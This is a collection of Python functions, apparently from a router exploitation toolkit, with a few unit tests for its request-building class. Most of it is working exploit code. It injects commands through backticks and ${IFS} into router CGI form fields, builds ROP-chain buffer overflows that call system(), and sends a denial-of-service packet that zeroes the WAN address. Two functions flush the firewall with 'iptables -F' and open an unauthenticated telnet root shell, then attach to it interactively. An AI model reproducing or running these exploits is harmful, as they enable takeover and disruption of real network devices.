def generate_exploit(host, port, command): """ Generate packet to exploit the target. :param host: IP address of the target. :type host: str :param port: Listening port of the target. :type port: int :param command: Command to execute upon successful exploitation. :type command: str :return: Packet to send to the target. :rtype: bytes """ command = b'`' + bytes(command.replace(' ', '${IFS}'), 'utf8') + b'`' data = { b'ccp_act': b'set', b'action': b'wizard_wan', b'cameo.wan.wan_proto': b'dhcpc', b'cameo.wan.wan_mac': command } data = b'&'.join(b'%s=%s' % (key, value) for key, value in data.items()) request = mow.CustomRequest(host, port, mow.POST, b'apply_sec.cgi', data=data) packet = request.create_packet() return packet
def test_remove_slash_bytes(self): cr = mow.CustomRequest('1.2.3.4', port=80, request_type=mow.GET, request_dest=b'/apply.cgi', headers={'a': 'b'}, data='') self.assertEqual(cr.request, b'GET /apply.cgi HTTP/1.1')
def test_invalid_data(self): with self.assertRaises(Exception): mow.CustomRequest('1.2.3.4', port=80, request_type=mow.GET, request_dest='a', headers={'a': 'b'}, data=5)
def test_invalid_request_type(self): with self.assertRaises(Exception): mow.CustomRequest('1.2.3.4', port=80, request_type='get', request_dest='apply.cgi', headers={'a': 'b'}, data='')
def test_invalid_host(self): with self.assertRaises(Exception): mow.CustomRequest(1, port=80, request_type=mow.GET, request_dest='apply.cgi', headers={'a': 'b'}, data='')
def test_bad_logger(self): with self.assertRaises(Exception): mow.CustomRequest('1.2.3.4', port=80, request_type=mow.GET, request_dest='apply.cgi', headers={'a': 'b'}, data='', logging_level=5)
def test_error_logger(self): request = mow.CustomRequest('1.2.3.4', port=80, request_type=mow.GET, request_dest='apply.cgi', headers={'a': 'b'}, data='', logging_level=mow.log_level.ERROR) self.assertEqual(request._logger.getEffectiveLevel(), logging.ERROR)
def test_values(self): cr = mow.CustomRequest('1.2.3.4', port=80, request_type=mow.GET, request_dest='apply.cgi', headers={'a': 'b'}, data='') self.assertEqual(cr.host, b'Host: 1.2.3.4:80') self.assertEqual(cr.request, b'GET /apply.cgi HTTP/1.1') self.assertEqual(cr.headers, {'a': 'b'}) self.assertEqual(cr.data, b'')
def test_no_data(self): cr = mow.CustomRequest('1.2.3.4', port=80, request_type=mow.GET, request_dest='apply.cgi', headers={'a': 'b'}, data=None) packet = cr.create_packet() expected_result = b'GET /apply.cgi HTTP/1.1\r\n' expected_result += b'Host: 1.2.3.4:80\r\n' expected_result += b'a: b\r\n' expected_result += b'Content-Length: 0\r\n\r\n' self.assertEqual(packet, expected_result)
def exploit_target(host, port, telnet_port, username, password): """ Send the exploit to the target and connect to the reverse shell. :param host: Target IP address. :type host: str :param port: Target port. :type port: int :param telnet_port: Telnet port to open on the target. :type telnet_port: int :param username: Username used for authentication. :type username: str :param password: Password used for authentication. :type password: str """ # Drop firewall rules to allow connecting to the telnet server. '|' is used because ';' and '&' are dropped when # present in the header. telnet_command = b'`iptables -F|telnetd -l /bin/sh -p %d`' % telnet_port authenticate(host, port, username, password) data = { b'ccp_act': b'set', b'action': b'tools_diagnostic', b'method': b'0', b'ip_addr': telnet_command, b'pkt_size': b'64', b'cnt': b'4' } data = b'&'.join(b'%s=%s' % (key, value) for key, value in data.items()) request = mow.CustomRequest(host, port, mow.POST, b'apply.cgi', data=data) packet = request.create_packet() mow.send_packet(host, port, packet, True) time.sleep(5) tn = telnet_connect(host, telnet_port) # If the exploit succeeded go interactive with the telnet session, otherwise report failure. if tn: tn.interact() else: print('Exploit failed, no telnet server listening at %s:%d' % (host, telnet_port))
def generate_exploit_packet(host, port, command): """ Generate packet to exploit the target. :param host: Target IP address. :type host: str :param port: Target listening port. :type port: int :param command: Command to execute on successful exploitation. :type command: str :return: Packet to send to target. :rtype: bytes """ rop1 = 0x3e164 rop2 = 0x53168 rop3 = 0x3ca64 system = 0x57b1c overflow = mow.Overflow(0x90, 3, mow.LITTLE_ENDIAN, 0, 0x76fd5000, '1 ') overflow.ra = rop1 overflow.add_to_stack(0x3c, address=rop2) overflow.add_to_stack(0x34, address=rop3) overflow.add_to_stack(0x2c, address=system) overflow.add_to_stack(0x68, command=command.replace(' ', '${IFS}')) overflow_string = overflow.generate() data = { b'ccp_act': b'set', b'action': b'wizard_wan', b'cameo.wan.wan_proto': b'dhcpc', b'cameo.wan.wan_primary_dns': b'1', b'cameo.wan.wan_secondary_dns': overflow_string } # Build the data into key=value&key1=value1&key2=value2 form. data = b'&'.join(b'%s=%s' % (key, value) for key, value in data.items()) request = mow.CustomRequest(host, port, mow.POST, b'apply_sec.cgi', data=data) packet = request.create_packet() return packet
def generate_exploit(host, port, command): """ Generate packet to exploit the target. :param host: IP address of the target. :type host: str :param port: Listening port of the target. :type port: int :param command: Command to execute upon successful exploitation. :type command: str :return: Packet to send to the target. :rtype: bytes """ rop1 = 0x3e164 rop2 = 0x53168 rop3 = 0x3ca64 system = 0x57b1c overflow = mow.Overflow(0x114, 2, mow.LITTLE_ENDIAN, 0, 0x76fd5000, 'uci set network.wan.hostname=') overflow.ra = rop1 overflow.add_to_stack(0x3c, address=rop2) overflow.add_to_stack(0x34, address=rop3) overflow.add_to_stack(0x2c, address=system) overflow.add_to_stack(0x68, command=command.replace(' ', '${IFS}')) overflow_string = overflow.generate() data = { b'ccp_act': b'set', b'action': b'wizard_wan', b'cameo.wan.wan_proto': b'pptp', b'cameo.wan.wan_pptp_dynamic': b'1', b'system.@system[0].hostname': overflow_string } data = b'&'.join(b'%s=%s' % (key, value) for key, value in data.items()) request = mow.CustomRequest(host, port, mow.POST, b'apply_sec.cgi', data=data) packet = request.create_packet() return packet
def create_dos_packet(host, port): """ Generate a packet that causing the WAN IP to be set to 0.0.0.0 :param host: Target IP address. :type host: str :param port: Target listening port. :type port: int :return: Packet to send to target. :rtype: bytes """ data = {b'ccp_act': b'set', b'action': b'wizard_wan', b'cameo.wan.wan_proto': b'static', b'cameo.wan.wan_static_ipaddr': b'0.0.0.0'} data = b'&'.join(b'%s=%s' % (key, value) for key, value in data.items()) request = mow.CustomRequest(host, port, mow.POST, b'apply_sec.cgi', data=data) packet = request.create_packet() return packet
def generate_exploit_packet(host, port, command): """ Generate exploit packet to send to the router. :param host: Target IP address. :type host: str :param port: Target listening port. :type port: int :param command: Command to execute on successful exploitation. :type command: str :return: Packet to send to the target. """ # All addresses are offsets in libuClibc-0.9.33.2.so rop1 = 0x3e164 rop2 = 0x53168 rop3 = 0x3ca64 system = 0x57b1c overflow = mow.Overflow(0x108, 1, mow.LITTLE_ENDIAN, gadgets_base=0x76fd5000) overflow.ra = rop1 overflow.add_to_stack(0x3c, address=rop2) overflow.add_to_stack(0x34, address=rop3) overflow.add_to_stack(0x2c, address=system) overflow.add_to_stack(0x68, command=command.replace(' ', '${IFS}')) overflow_string = overflow.generate() request = mow.CustomRequest(host, port, mow.GET, b'apply_sec.cgi?%s=asdf' % overflow_string) packet = request.create_packet() return packet
def exploit_target(host, port, telnet_port, username, password): """ Send the exploit to the target and connect to the reverse shell. :param host: Target IP address. :type host: str :param port: Target port. :type port: int :param telnet_port: Telnet port to open on the target. :type telnet_port: int :param username: Username used for authentication. :type username: str :param password: Password used for authentication. :type password: str """ # Drop firewall rules to allow connecting to the telnet server. '|' is used because ';' and '&' are dropped when # present in the header. telnet_command = '`iptables -F|telnetd -l /bin/sh -p %d`' % telnet_port authenticate(host, port, username, password) rop1 = 0x3e164 rop2 = 0x53168 rop3 = 0x3ca64 system = 0x57b1c overflow = mow.Overflow(0x228, 3, mow.LITTLE_ENDIAN, 0, 0x76fd5000, 'ping result: ') overflow.ra = rop1 overflow.add_to_stack(0x3c, address=rop2) overflow.add_to_stack(0x34, address=rop3) overflow.add_to_stack(0x2c, address=system) overflow.add_to_stack(0x68, command=telnet_command.replace(' ', '${IFS}')) overflow_string = overflow.generate() data = { b'ccp_act': b'set', b'action': b'tools_diagnostic', b'method': b'0', b'ip_addr': overflow_string, b'pkt_size': b'64', b'cnt': b'4' } data = b'&'.join(b'%s=%s' % (key, value) for key, value in data.items()) request = mow.CustomRequest(host, port, mow.POST, b'apply.cgi', data=data) packet = request.create_packet() tn = telnet_connect(host, telnet_port) while tn is None: try: mow.send_packet(host, port, packet, True) except: continue tn = telnet_connect(host, telnet_port) tn.interact()